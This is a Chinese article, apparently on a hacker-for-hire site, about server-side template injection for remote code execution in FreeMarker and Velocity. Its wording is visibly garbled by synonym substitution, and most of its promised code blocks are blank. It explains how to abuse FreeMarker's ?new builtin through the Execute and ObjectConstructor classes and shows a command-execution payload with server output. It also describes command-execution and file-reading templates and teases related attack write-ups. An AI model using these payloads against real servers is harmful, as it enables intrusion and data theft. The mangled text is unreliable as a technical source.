服务端模板注入:现代WEB长途代码履行

访客5年前关于黑客接单1292

0x01 开发Exploit
许多的模板引擎都会企图约束模板程序履行恣意代码才能,来防止应用层逻辑对表达式引擎的进犯。还有一些模板引擎则测验经过沙盒等手法来安全处理不可信的用户输入。在这些办法之下,开发一个模板后门变得十分有挑战性。
FreeMarker
FreeMarke是最盛行的Java模板之一,也是最频频的交给用户操作的模板。FreeMarker官网解说了答应“用户供给”模板的危险性:

对应翻译:
22.能够答应用户上传模板文件吗,这对安全性有影响吗? 一般来说,你不应该答应用户做这样的操作,除非是管理员或许可信用户。考虑到模板便是和*.java文件相似的源代码文件。假如你仍然想要答应用户上传模板文件,这里是你应该考虑的东西:http://freemarker.org/docs/app_faq.html#faq_template_uploading_security
在一些相似DoS这种低危险安全问题之后,咱们能够看到下面这个:

对应翻译:
内置的new操作符 (Configuration.setNewBuiltinClassResolver,Environment.setNewBuiltinClassResolver):在模板文件中像这样运用”com.example.SomeClass”?new(),这个对FTL库来说很重要,可是在正常的模板文件中时不需求运用。FreeMarker中包括一个TemplateModel接口,这个接口能够用于结构恣意java目标,new操作符能够实例化TemplateModel的完结类。有一些危险的TemplateModel完结类有或许会在classpath中。 就算一个类没有完结TemplateModel接口,这个类里边的静态代码块也会被履行。为了防止这种状况呈现,你能够运用TemplateClassResolver类来限制对类的拜访,像下面这样:TemplateClassResolver.ALLOWS_NOTHING_RESOLVER
这条正告略显奥秘,可是它让咱们想到经过内置的new操作符来完结exp也许是能够的。让咱们看一下关于new操作符的文档:

对应翻译:
这个内置的操作符需求引起安全重视,由于模板的编写人能够经过它来结构恣意java目标然后运用这些结构处理的java目标,只需他们完结了TemplateModel接口。而且模板编写者还能够触发类中静态代码块中的代码,即便这个类没有完结TemplateModel接口。假如你答应不是很信赖的用户上传模板,你应该看一下下面这个主题。http://freemarker.org/docs/ref_builtins_expert.html#ref_builtin_new
TemplateModel的完结类中存在对咱们有用的类吗?让咱们来看一下这个接口的JavaDoc:

一个类的姓名呈现了:Execute。
检查这个类的概况能够发现它能够做咱们想要做的事:接纳输入而且履行

运用它十分简略:
 
${ ex("id") }
uid=119(tomcat7) gid=127(tomcat7) groups=127(tomcat7)
这个payload在后面将会十分有用。
弥补:
经过对TemplateModel的其他完结类进行研究,发现ObjectConstructor类相同很有用,从姓名上就能够看出来,这个类是用来结构其他类的目标的,看一下代码就能够理解怎么运用了:

经过代码能够看到供给类称号和结构函数的参数,就能够使用ObjectConstructor类结构咱们想要的类,有了这个咱们就能够履行恣意java代码了,下面给出两个实例,一个是履行指令,另一个是文件读取。
指令履行:
 
       
   
   
       
   
    ${line}
    ${"
"}
文件读取:
 
       
   
   
       
   
    ${line?html}
    ${"
"}
Velocity
Velocity是另一个盛行的Java模板结构,十分难exploit。没有“安全注意事项”页面来指出存在危险的函数和内部变量。下面这张截图显现的是用Burp暴力破解变量名,左边是payload右边是服务器的返回值。

变量class看起来有用,由于它返回了一个Object类的Class目标。经过Google找到了这个链接https://velocity.apache.org/tools/releases/2.0/summary.html:

能够看到一个办法和一个特点:

[1] [2] [3]  黑客接单网

相关文章

分析NETWIRE网络垂钓举动中对Process Hollowing的运用

无文件进犯是当时较为常见的一种进犯手法,歹意软件经过其payload来躲避检测,而无需在磁盘上编写可履行文件。无文件履行最常见的技能之一是代码注入——进犯者不需要直接履行歹意软件,而是将歹意软件代码注...

实例解说False盲注根底原理

0×01 前语 false盲注有些时分能够绕过一些WAF,也是简略被忽视的细节。本文的意图在于经过做CTF的一起来学习注入原理,一起也运用到本身的才能。这儿仅仅简略说一些我自己的了解,或许网上有更好的...

继续聊聊梦里的那点事儿(下)-黑客接单平台

前情概要:梦里那点事系列文章(上) 0×05 弱口令是个好东西 忽然有这么多方针,一时间不知从哪下手,这个时分直觉告诉我,机关单位站点也许是突破口。 经历告诉我,此类网站的管理员往往缺少安全防护认识。...

一份来源未知的数据,揭秘了OilRig组织的全部信息(下)-黑客接单平台

Webshells Webshell用于与受感染服务器交互。走漏数据中包含了三个webshell,分别为HyperShell、HighShell和Minion,Minion很可能是HighShell的...

云、管、端三重失守,大范围挂马进犯剖析

0x00 源起 从3月5日开端,腾讯反病毒实验室监控到很多闻名软件客户端存在开释下载器病毒的反常数据,预示着或许存在经过挂马方法大规模进犯闻名软件客户端的行为。电脑管家紧迫对相关数据进行剖析排查,终究...

2019 神盾杯 final Writeup(二)-黑客接单平台

前语 接之前的剖析文章,本篇文章将2019 神盾杯线下赛后续两道web题也解析一下。 web3 预置后门扫描 翻开源码发现是干流cms typecho,先上东西扫一波: 一起注意到版别号: 依...